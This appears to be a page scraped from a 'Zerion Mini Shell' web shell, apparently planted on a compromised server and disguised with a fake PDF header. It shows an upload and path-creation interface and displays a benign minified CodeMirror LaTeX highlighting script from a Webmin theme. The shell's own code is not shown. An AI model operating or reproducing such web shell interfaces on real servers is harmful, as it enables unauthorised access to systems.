%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/webmin/authentic-theme/unauthenticated/js/codemirror/mode/stex/
Upload File :
Create Path :
Current File : //usr/share/webmin/authentic-theme/unauthenticated/js/codemirror/mode/stex/stex.js

!function(t){"object"==typeof exports&&"object"==typeof module?t(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],t):t(CodeMirror)}(function(t){"use strict";t.defineMode("stex",function(t,e){function n(t,e){t.cmdState.push(e)}function r(t){return t.cmdState.length>0?t.cmdState[t.cmdState.length-1]:null}function i(t){var e=t.cmdState.pop();e&&e.closeBracket()}function a(t){for(var e=t.cmdState,n=e.length-1;n>=0;n--){var r=e[n];if("DEFAULT"!=r.name)return r}return{styleIdentifier:function(){return null}}}function c(t,e,n){return function(){this.name=t,this.bracketNo=0,this.style=e,this.styles=n,this.argument=null,this.styleIdentifier=function(){return this.styles[this.bracketNo-1]||null},this.openBracket=function(){return this.bracketNo++,"bracket"},this.closeBracket=function(){}}}function o(t,e){t.f=e}function u(t,e){var i;if(t.match(/^\\[a-zA-Z@]+/)){return i=s[t.current().slice(1)]||s.DEFAULT,i=new i,n(e,i),o(e,m),i.style}if(t.match(/^\\[$&%#{}_]/))return"tag";if(t.match(/^\\[,;!\/\\]/))return"tag";if(t.match("\\["))return o(e,function(t,e){return f(t,e,"\\]")}),"keyword";if(t.match("\\("))return o(e,function(t,e){return f(t,e,"\\)")}),"keyword";if(t.match("$$"))return o(e,function(t,e){return f(t,e,"$$")}),"keyword";if(t.match("$"))return o(e,function(t,e){return f(t,e,"$")}),"keyword";var c=t.next();return"%"==c?(t.skipToEnd(),"comment"):"}"==c||"]"==c?(i=r(e))?(i.closeBracket(c),o(e,m),"bracket"):"error":"{"==c||"["==c?(i=s.DEFAULT,i=new i,n(e,i),"bracket"):/\d/.test(c)?(t.eatWhile(/[\w.%]/),"atom"):(t.eatWhile(/[\w\-_]/),i=a(e),"begin"==i.name&&(i.argument=t.current()),i.styleIdentifier())}function f(t,e,n){if(t.eatSpace())return null;if(n&&t.match(n))return o(e,u),"keyword";if(t.match(/^\\[a-zA-Z@]+/))return"tag";if(t.match(/^[a-zA-Z]+/))return"variable-2";if(t.match(/^\\[$&%#{}_]/))return"tag";if(t.match(/^\\[,;!\/]/))return"tag";if(t.match(/^[\^_&]/))return"tag";if(t.match(/^[+\-<>|=,\/@!*:;'"`~#?]/))return null;if(t.match(/^(\d+\.\d*|\d*\.\d+|\d+)/))return"number";var r=t.next();return"{"==r||"}"==r||"["==r||"]"==r||"("==r||")"==r?"bracket":"%"==r?(t.skipToEnd(),"comment"):"error"}function m(t,e){var n,a=t.peek();return"{"==a||"["==a?(n=r(e),n.openBracket(a),t.eat(a),o(e,u),"bracket"):/[ \t\r]/.test(a)?(t.eat(a),null):(o(e,u),i(e),u(t,e))}var s={};return s.importmodule=c("importmodule","tag",["string","builtin"]),s.documentclass=c("documentclass","tag",["","atom"]),s.usepackage=c("usepackage","tag",["atom"]),s.begin=c("begin","tag",["atom"]),s.end=c("end","tag",["atom"]),s.label=c("label","tag",["atom"]),s.ref=c("ref","tag",["atom"]),s.eqref=c("eqref","tag",["atom"]),s.cite=c("cite","tag",["atom"]),s.bibitem=c("bibitem","tag",["atom"]),s.Bibitem=c("Bibitem","tag",["atom"]),s.RBibitem=c("RBibitem","tag",["atom"]),s.DEFAULT=function(){this.name="DEFAULT",this.style="tag",this.styleIdentifier=this.openBracket=this.closeBracket=function(){}},{startState:function(){return{cmdState:[],f:e.inMathMode?function(t,e){return f(t,e)}:u}},copyState:function(t){return{cmdState:t.cmdState.slice(),f:t.f}},token:function(t,e){return e.f(t,e)},blankLine:function(t){t.f=u,t.cmdState.length=0},lineComment:"%"}}),t.defineMIME("text/x-stex","stex"),t.defineMIME("text/x-latex","stex")});

Zerion Mini Shell 1.0